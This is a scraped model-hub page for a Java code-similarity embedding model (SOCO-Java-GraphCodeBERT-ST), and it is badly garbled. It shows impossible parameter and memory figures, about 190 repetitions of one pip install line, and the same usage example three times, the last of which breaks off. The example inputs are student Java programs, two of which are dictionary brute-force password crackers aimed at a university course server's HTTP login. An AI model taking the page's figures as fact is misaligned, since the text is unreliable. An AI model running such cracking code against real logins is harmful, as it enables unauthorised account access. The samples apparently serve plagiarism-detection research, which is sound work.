SOCO-Java-GraphCodeBERT-ST

1
by
buelfhood
Embedding Model
OTHER
1703.07737B params
New
0 downloads
Early-stage
Edge AI:
Mobile
Laptop
Server
3807GB+ RAM
Mobile
Laptop
Server
Quick Summary

AI model with specialized capabilities.

Device Compatibility

Mobile
4-6GB RAM
Laptop
16GB RAM
Server
GPU
Minimum Recommended
1587GB+ RAM

Code Examples

Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagebash
pip install -U sentence-transformers
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                